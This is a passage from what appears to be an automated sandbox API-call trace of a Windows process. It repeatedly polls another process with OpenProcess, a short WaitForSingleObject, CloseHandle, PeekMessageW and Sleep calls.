WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0300.313] CloseHandle (hObject=0x3bb4) returned 1 [0300.314] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.314] Sleep (dwMilliseconds=0x1) [0300.326] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0300.326] WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0300.342] CloseHandle (hObject=0x3bb4) returned 1 [0300.342] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.342] Sleep (dwMilliseconds=0x1) [0300.358] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0300.358] WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0300.373] CloseHandle (hObject=0x3bb4) returned 1 [0300.373] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.373] Sleep (dwMilliseconds=0x1) [0300.389] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0300.390] WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0300.404] CloseHandle (hObject=0x3bb4) returned 1 [0300.404] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.404] Sleep (dwMilliseconds=0x1) [0300.424] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0300.424] WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0300.434] CloseHandle (hObject=0x3bb4) returned 1 [0300.434] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.434] Sleep (dwMilliseconds=0x1) [0300.451] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0300.451] WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0300.467] CloseHandle (hObject=0x3bb4) returned 1 [0300.467] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.467] Sleep (dwMilliseconds=0x1) [0300.481] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0300.481] WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0300.497] CloseHandle (hObject=0x3bb4) returned 1 [0300.497] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.497] Sleep (dwMilliseconds=0x1) [0300.524] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0300.524] WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0300.548] CloseHandle (hObject=0x3bb4) returned 1 [0300.548] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.548] Sleep (dwMilliseconds=0x1) [0300.559] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0300.559] WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0300.575] CloseHandle (hObject=0x3bb4) returned 1 [0300.575] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.575] Sleep (dwMilliseconds=0x1) [0300.602] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0300.602] WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0300.615] CloseHandle (hObject=0x3bb4) returned 1 [0300.615] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.615] Sleep (dwMilliseconds=0x1) [0300.622] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0300.622] WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0300.638] CloseHandle (hObject=0x3bb4) returned 1 [0300.638] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.638] Sleep (dwMilliseconds=0x1) [0300.653] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0300.653] WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0300.669] CloseHandle (hObject=0x3bb4) returned 1 [0300.669] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.669] Sleep (dwMilliseconds=0x1) [0300.685] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0300.685] WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0300.703] CloseHandle (hObject=0x3bb4) returned 1 [0300.703] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.703] Sleep (dwMilliseconds=0x1) [0300.794] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0300.794] WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0300.837] CloseHandle (hObject=0x3bb4) returned 1 [0300.837] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.837] Sleep (dwMilliseconds=0x1) [0300.864] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0300.864] WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0300.882] CloseHandle (hObject=0x3bb4) returned 1 [0300.882] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.882] Sleep (dwMilliseconds=0x1) [0300.902] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0300.902] WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0300.903] CloseHandle (hObject=0x3bb4) returned 1 [0300.903] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.903] Sleep (dwMilliseconds=0x1) [0300.920] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0300.920] WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0300.934] CloseHandle (hObject=0x3bb4) returned 1 [0300.935] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.935] Sleep (dwMilliseconds=0x1) [0300.963] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0300.963] WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0300.966] CloseHandle (hObject=0x3bb4) returned 1 [0300.966] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.966] Sleep (dwMilliseconds=0x1) [0300.986] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0300.986] WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0300.997] CloseHandle (hObject=0x3bb4) returned 1 [0300.997] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.997] Sleep (dwMilliseconds=0x1) [0301.074] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0301.074] WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0301.091] CloseHandle (hObject=0x3bb4) returned 1 [0301.092] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0301.092] Sleep (dwMilliseconds=0x1) [0301.106] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0301.106] WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0301.122] CloseHandle (hObject=0x3bb4) returned 1 [0301.122] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0301.122] Sleep (dwMilliseconds=0x1) [0301.137] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0301.138] WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0301.153] CloseHandle (hObject=0x3bb4) returned 1 [0301.153] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0301.153] Sleep (dwMilliseconds=0x1) [0301.169] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0301.169] WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0301.184] CloseHandle (hObject=0x3bb4) returned 1 [0301.184] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0301.184] Sleep (dwMilliseconds=0x1) [0301.200] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0301.200] WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0301.216] CloseHandle (hObject=0x3bb4) returned 1 [0301.216] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0301.216] Sleep (dwMilliseconds=0x1) [0301.231] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0301.231] WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0301.247] CloseHandle (hObject=0x3bb4) returned 1 [0301.247] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0301.247] Sleep (dwMilliseconds=0x1) [0301.262] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0301.263] WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0301.366] CloseHandle (hObject=0x3bb4) returned 1 [0301.367] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0301.367] Sleep (dwMilliseconds=0x1) [0301.407] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bd0 [0301.407] WaitForSingleObject (hHandle=0x3bd0, dwMilliseconds=0xa) returned 0x102 [0301.419] CloseHandle (hObject=0x3bd0) returned 1 [0301.419] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0301.419] Sleep (dwMilliseconds=0x1) [0301.438] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bd0 [0301.439] WaitForSingleObject (hHandle=0x3bd0, dwMilliseconds=0xa) returned 0x102 [0301.450] CloseHandle (hObject=0x3bd0) returned 1 [0301.450] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0301.450] Sleep (dwMilliseconds=0x1) [0301.467] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bec [0301.467] WaitForSingleObject (hHandle=0x3bec, dwMilliseconds=0xa) returned 0x102 [0301.481] CloseHandle (hObject=0x3bec) returned 1 [0301.481] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0301.481] Sleep (dwMilliseconds=0x1) [0301.498] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bec [0301.498] WaitForSingleObject (hHandle=0x3bec, dwMilliseconds=0xa) returned 0x102 [0301.512] CloseHandle (hObject=0x3bec) returned 1 [0301.512] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0301.512] Sleep (dwMilliseconds=0x1) [0301.528] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3c04 [0301.528] WaitForSingleObject (hHandle=0x3c04, dwMilliseconds=0xa) returned 0x102 [0301.551] CloseHandle (hObject=0x3c04) returned 1 [0301.551] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0301.551] Sleep (dwMilliseconds=0x1) [0301.564] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3c30 [0301.564] WaitForSingleObject (hHandle=0x3c30, dwMilliseconds=0xa) returned 0x102 [0301.576] CloseHandle (hObject=0x3c30) returned 1 [0301.576] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0301.576] Sleep (dwMilliseconds=0x1) [0301.591] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3c50 [0301.591] WaitForSingleObject (hHandle=0x3c50, dwMilliseconds=0xa) returned 0x102 [0301.623] CloseHandle (hObject=0x3c50) returned 1 [0301.623] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0301.623] Sleep (dwMilliseconds=0x1) [0301.637] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3c50 [0301.637] WaitForSingleObject (hHandle=0x3c50, dwMilliseconds=0xa) returned 0x102 [0301.653] CloseHandle (hObject=0x3c50) returned 1 [0301.653] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0301.653] Sleep (dwMilliseconds=0x1) [0301.669] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3c50 [0301.669] WaitForSingleObject (hHandle=0x3c50, dwMilliseconds=0xa) returned 0x102 [0301.684] CloseHandle (hObject=0x3c50) returned 1 [0301.684] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0301.684] Sleep (dwMilliseconds=0x1) [0301.700] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3c50 [0301.700] WaitForSingleObject (hHandle=0x3c50, dwMilliseconds=0xa) returned 0x102 [0301.717] CloseHandle (hObject=0x3c50) returned 1 [0301.718] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0301.718] Sleep (dwMilliseconds=0x1) [0301.732] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3c98 [0301.732] WaitForSingleObject (hHandle=0x3c98, dwMilliseconds=0xa) returned 0x102 [0301.747] CloseHandle (hObject=0x3c98) returned 1 [0301.747] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0301.747] Sleep (dwMilliseconds=0x1) [0301.764] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3c98 [0301.764] WaitForSingleObject (hHandle=0x3c98, dwMilliseconds=0xa) returned 0x102 [0301.778] CloseHandle (hObject=0x3c98) returned 1 [0301.778] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0301.786] Sleep (dwMilliseconds=0x1) [0301.794] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3cb8 [0301.794] WaitForSingleObject (hHandle=0x3cb8, dwMilliseconds=0xa) returned 0x102 [0301.809] CloseHandle (hObject=0x3cb8) returned 1 [0301.809] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0301.810] Sleep (dwMilliseconds=0x1) [0301.838] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3cc8 [0301.838] WaitForSingleObject (hHandle=0x3cc8, dwMilliseconds=0xa) returned 0x102 [0301.840] CloseHandle (hObject=0x3cc8) returned 1 [0301.840] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0301.840] Sleep (dwMilliseconds=0x1) [0301.857] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3ce0 [0301.857] WaitForSingleObject (hHandle=0x3ce0, dwMilliseconds=0xa) returned 0x102 [0301.872] CloseHandle (hObject=0x3ce0) returned 1 [0301.872] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0301.872] Sleep (dwMilliseconds=0x1) [0301.887] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3cec [0301.887] WaitForSingleObject (hHandle=0x3cec, dwMilliseconds=0xa) returned 0x102 [0301.903] CloseHandle (hObject=0x3cec) returned 1 [0301.903] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0301.903] Sleep (dwMilliseconds=0x1) [0301.919] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3cec [0301.919] WaitForSingleObject (hHandle=0x3cec, dwMilliseconds=0xa) returned 0x102 [0301.934] CloseHandle (hObject=0x3cec) returned 1 [0301.934] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0301.934] Sleep (dwMilliseconds=0x1) [0301.950] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3cec [0301.950] WaitForSingleObject (hHandle=0x3cec, dwMilliseconds=0xa) returned 0x102 [0301.966] CloseHandle (hObject=0x3cec) returned 1 [0301.966] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0301.966] Sleep (dwMilliseconds=0x1) [0301.981] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3cec [0301.981] WaitForSingleObject (hHandle=0x3cec, dwMilliseconds=0xa) returned 0x102 [0301.997] CloseHandle (hObject=0x3cec) returned 1 [0301.997] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0301.997] Sleep (dwMilliseconds=0x1) [0302.020] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3cec [0302.020] WaitForSingleObject (hHandle=0x3cec, dwMilliseconds=0xa) returned 0x102 [0302.029] CloseHandle (hObject=0x3cec) returned 1 [0302.029] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.029] Sleep (dwMilliseconds=0x1) [0302.044] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3cec [0302.044] WaitForSingleObject (hHandle=0x3cec, dwMilliseconds=0xa) returned 0x102 [0302.059] CloseHandle (hObject=0x3cec) returned 1 [0302.059] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.059] Sleep (dwMilliseconds=0x1) [0302.075] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3cec [0302.075] WaitForSingleObject (hHandle=0x3cec, dwMilliseconds=0xa) returned 0x102 [0302.091] CloseHandle (hObject=0x3cec) returned 1 [0302.091] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.091] Sleep (dwMilliseconds=0x1) [0302.106] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3d40 [0302.106] WaitForSingleObject (hHandle=0x3d40, dwMilliseconds=0xa) returned 0x102 [0302.122] CloseHandle (hObject=0x3d40) returned 1 [0302.122] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.122] Sleep (dwMilliseconds=0x1) [0302.137] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3d40 [0302.137] WaitForSingleObject (hHandle=0x3d40, dwMilliseconds=0xa) returned 0x102 [0302.153] CloseHandle (hObject=0x3d40) returned 1 [0302.153] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.153] Sleep (dwMilliseconds=0x1) [0302.169] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3d40 [0302.169] WaitForSingleObject (hHandle=0x3d40, dwMilliseconds=0xa) returned 0x102 [0302.184] CloseHandle (hObject=0x3d40) returned 1 [0302.184] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.184] Sleep (dwMilliseconds=0x1) [0302.203] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3d80 [0302.203] WaitForSingleObject (hHandle=0x3d80, dwMilliseconds=0xa) returned 0x102 [0302.216] CloseHandle (hObject=0x3d80) returned 1 [0302.216] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.216] Sleep (dwMilliseconds=0x1) [0302.231] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3d80 [0302.231] WaitForSingleObject (hHandle=0x3d80, dwMilliseconds=0xa) returned 0x102 [0302.253] CloseHandle (hObject=0x3d80) returned 1 [0302.253] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.253] Sleep (dwMilliseconds=0x1) [0302.262] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3d80 [0302.262] WaitForSingleObject (hHandle=0x3d80, dwMilliseconds=0xa) returned 0x102 [0302.278] CloseHandle (hObject=0x3d80) returned 1 [0302.278] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.278] Sleep (dwMilliseconds=0x1) [0302.294] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3d90 [0302.294] WaitForSingleObject (hHandle=0x3d90, dwMilliseconds=0xa) returned 0x102 [0302.309] CloseHandle (hObject=0x3d90) returned 1 [0302.309] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.309] Sleep (dwMilliseconds=0x1) [0302.325] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3d90 [0302.325] WaitForSingleObject (hHandle=0x3d90, dwMilliseconds=0xa) returned 0x102 [0302.341] CloseHandle (hObject=0x3d90) returned 1 [0302.341] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.341] Sleep (dwMilliseconds=0x1) [0302.358] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3d90 [0302.358] WaitForSingleObject (hHandle=0x3d90, dwMilliseconds=0xa) returned 0x102 [0302.372] CloseHandle (hObject=0x3d90) returned 1 [0302.372] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0302.372] Sleep (dwMilliseconds=0x1) [0302.388] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3d90 [0302.388] WaitForSingleObject (hHandle=0x3d90, dwMilliseconds=0xa) returned 0x102 [0302.404] CloseHandle (hObject=0x3d90) returned 1 [0302.405] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 